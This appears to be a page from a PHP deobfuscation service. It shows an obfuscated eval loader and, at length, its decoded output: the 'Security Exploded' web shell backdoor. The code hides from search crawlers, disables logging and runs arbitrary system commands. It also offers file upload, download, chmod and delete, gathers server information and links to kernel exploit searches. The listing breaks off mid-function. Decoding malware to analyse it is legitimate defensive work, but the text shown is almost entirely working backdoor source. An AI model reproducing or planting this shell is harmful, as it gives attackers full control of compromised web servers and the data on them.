Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@eval(str_rot13(gzinflate(str_rot13(base64_decode("tJ3HjsNgZ533AfIOgeGFAy5LxIrAQNh779wE7G/..

Decoded Output download

$xName = "Security Exploded";
$versi = "v1.5 Mini"; // Shell Version
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
    header('HTTP/1.0 404 Not Found'); 
    exit; } 
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
?><html><head>
<link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg">
<title>Security Exploded</title>
</head>
<body>
<style type="text/css">
body { background-color:transparan;background:#000;background-image: url("http://oi60.tinypic.com/in74pi.jpg");background-position: center;  background-attachment: fixed;background-repeat: repeat; } 
.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey; 
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}
body,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}
input {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}
</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>

<img src="http://oi58.tinypic.com/2u8fmnn.jpg" title="./Port22" style="float:left" alt="Exploded" height='250' width='700'/>
<br><br><br><br><br><br><br><br><br><center>
<table>
<form method='post'>
<tr>
<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class="tabnez"  height='20' width='24'></td>
<td><input class="tabnez" type="password" name="pass" placeholder="Password"></td>
<td><input class="tabnez" type="submit" value="Login !"></td>
</tr>
</form>
</table>
</body>
</html>
    <?php break ;
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $pass ) || 
        ( isset( $_POST['pass']) && ( md5($_POST['pass']) == $pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
		
@ini_set('log_errors',0);
@ini_set('display_errors',0);
@ini_set('output_buffering',0);	
@ini_set('file_uploads',1);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
	$file = $_GET['dl'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
	$file = $_GET['dlgzip'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET['img'])){
		@ob_clean(); 
		$d = magicboom($_GET['y']);
		$f = $_GET['img'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}
//php info
$phpinfo = "?&amp;x=phpinfo";
// Server software

$software = getenv("SERVER_SOFTWARE");
// CMD
$cmdbox = "help";
// Server Port
$serverport = $_SERVER["SERVER_PORT"];
// Backdoor Name
$backdoor_name = "$title ";
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// detector
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#ff0000'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testoracle() { if (function_exists('ocilogon')) {return showstat("on"); }else {return showstat("off"); }}
function testmssql() { if (function_exists('mssql_connect')) {return showstat("on"); }else {return showstat("off"); }}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
function testpython() {if (exe('python -h')) {return showstat("on");}else {return showstat("off");}}
function testruby() {if (exe('ruby -h')) {return showstat("on");}else {return showstat("off");}}
function testgcc() {if (exe('gcc --help')) {return showstat("on");}else {return showstat("off");}}
function testjava() {if (exe('java -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET['y'])){
	if(@is_dir($_GET['view'])){
		$pwd = $_GET['view'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET['y'];
		@chdir($pwd);
	}
}
//hdd
function convertByte($s) {
if($s<=0) return 0;
	$w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
	$e = floor(log($s)/log(1024));
	return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e))));
}
//

// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$user = @get_current_user();
	$id = $user;
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " </a>] "; 
  	  }	 
 } 
}

function getrealip(){
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{ $ip=$_SERVER['HTTP_CLIENT_IP']; 
}elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR']))
//TO CHEK IP IS PASS FROM PROXY
{ $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else { $ip=$_SERVER['REMOTE_ADDR'];
}
return $ip;
}

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#ff0000'><b>".$disablefunc."</b></span>"; }
    else { return "<span style='color:#00FF00'><b>NONE</b></span>"; }
    }
	
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "exploded";
// Security Exploded
$uplink = "http://www.security-exploded.org/search/label/Exploded Shell Backdoor";
//wilworm
$release = @php_uname('r');
	$kernel = @php_uname('s');
	$millink='http://milw0rm.com/search.php?dong=';
	
	if( strpos('Linux', $kernel) !== false )
		$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
	else
		$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	// Exploit-db
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    
	if( strpos('Linux', $kernel) !== false )
		$explink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
	else
		$explink .= urlencode( $kernel . ' ' . substr($release,0,3) );
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// Rename file or folder
if(isset($_POST['Rename'])){
	$old = $_POST['oldname'];
	$new = $_POST['newname'];
	@Rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}
if(isset($_POST['uploadcompt'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;	
		$stat = @move_uploaded_file($tmp_name,$pindah);}
		}

if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo ''; }
else { echo ''; }
}
if(isset($_POST['Chmod'])){ 
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@Chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}	
if(isset($_POST['Chmod_folder'])){
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@Chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}

//////////////////////////////////
// print useful info

$buff  = "Shell Backdoor : <b><font style='color:$color'> $backdoor_name $versi</font><b> <span class=\"gaya\"></a></b></b></font><b><span class=\"gaya\"> | </span><a href='$uplink' title='Search Shell Backdoor From Security Exploded' target='_blank'><font style='color:#ff0000'>[ Security Exploded ]</a></b></font><br>Version : <b><font style='color:$color'>".$versi."</font></a></b><br> Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."  | <a href='http://www.google.com/search?q=".urlencode(@php_uname())."' title='Search System OS From Google' target='_blank'><font style='color:#ff0000'>[ Google ]</font></a> | <a href='".$millink."' title='Search Karnel From Milw0rm' target=_blank><font style='color:#ff0000'>[ Milw0rm ]</font></a> | <a href='".$explink."' title='Search Karnel From Exploit-db' target=_blank><font style='color:#ff0000'>[ Exploit-db ]</font></a></b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> ON <b>".php_sapi_name()."<span class=\"gaya\"> | </span><a href='$phpinfo' title='PHP Info'><font style='color:#ff0000'>[ PHP Info ]</font></a> </b><br />";
$buff .= "Server IP : <b><font style='color:#ff0000'>".$server_ip."</font></b> <span class=\"gaya\"> | </span> Port Server : <b><font style='color:#ff0000'>".$serverport."</font></b><span class=\"gaya\"> | </span> Your IP Surving : <b><a href='http://www.dnsstuff.com/tools?runFromMain=".getrealip()."&toolType=traceroute' title='Traceroute Your IP' target='_blank'><font style='color:#ff0000'>".getrealip()."<font></a></b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: <font style='color:#ff0000'><b>".convertByte(disk_free_space("/"))." <span class=\"gaya\"> / </span> ".convertByte(disk_total_space("/"))."</b></font></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><font style='color:#ff0000'><b>ON</b></font></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disable Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()."&nbsp;&nbsp;|&nbsp;&nbsp;MSSQL: ".testmssql()."&nbsp;&nbsp;|&nbsp;&nbsp;Oracle: ".testoracle()."&nbsp;&nbsp;|&nbsp;&nbsp;Perl: ".testperl()."&nbsp;&nbsp;|&nbsp;&nbsp;Python: ".testpython()."&nbsp;&nbsp;|&nbsp;&nbsp;Ruby: ".testruby()."&nbsp;&nbsp;|&nbsp;&nbsp;Java: ".testjava()."&nbsp;&nbsp;|&nbsp;&nbsp;GCC: ".testgcc()."&nbsp;&nbsp;|&nbsp;&nbsp;cURL: ".testcurl()."&nbsp;&nbsp;|&nbsp;&nbsp;WGet: ".testwget()."<br>";
$buff .="<font color=00ff00 >Drive : <b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";


 function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}
	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "<center>
	<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
	<table class=\"cmdbox\" style=\"width:45%;\">
	<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=help /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form>
	<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td><b>View </b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr></center>
	
	</form></table><br><table class=\"explore\">
	<tr><th>Name</th><th style=\"width:80px;\">Size</th><th style=\"width:210px;\">Owner:Group</th><th style=\"width:80px;\">Perms</th><th style=\"width:110px;\">Modified</th><th style=\"width:190px;\">Actions</th></tr>
	";
	if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;  

	foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>-</td>
			<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
			<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">New File</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">New Folder</a> | <a href=\"javascript:tukar('titik1','titik4_form');\">Upload</a></span>
			<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			<form action=\"\" id=\"titik4_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
			<input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" />
			</form></td>
			
			</tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>
			<td style=\"text-align:center;\">".$owner."</td>
			<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
			<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">New File</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">New Folder</a> | <a href=\"javascript:tukar('titik2','titik3_form');\">Upload</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			<form action=\"\" id=\"titik3_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
			<input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />  [ $folder ]</b></a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
			</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
			<td><center>
			<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
			<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
			<input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"Chmod_folder\" value=\"Chmod\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
			<td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">Rename</a> | <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form4');\">Upload</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">Delete</a></span>
			<form action=\"\" id=\"".clearspace($folder)."_form4\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
			<input class=\"inputz\" name=\"path\" type=\"text\" size=\"33\" value=\"".$pwd.$folder.DIRECTORY_SEPARATOR."\" /><br>
			<input class=\"inputzbut\" name=\"uploadcompt\" type=\"submit\" value=\"Upload\"/>
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form4');\" />
			</form>
			</td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
		}
		else {
			$owner = $user;
		}		
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
		</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
		<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"Chmod\" value=\"Chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
		<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;edit=$full\">Edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">Rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">Delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">Download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">Gz</a>)</td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}

function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size kb";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size mb";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
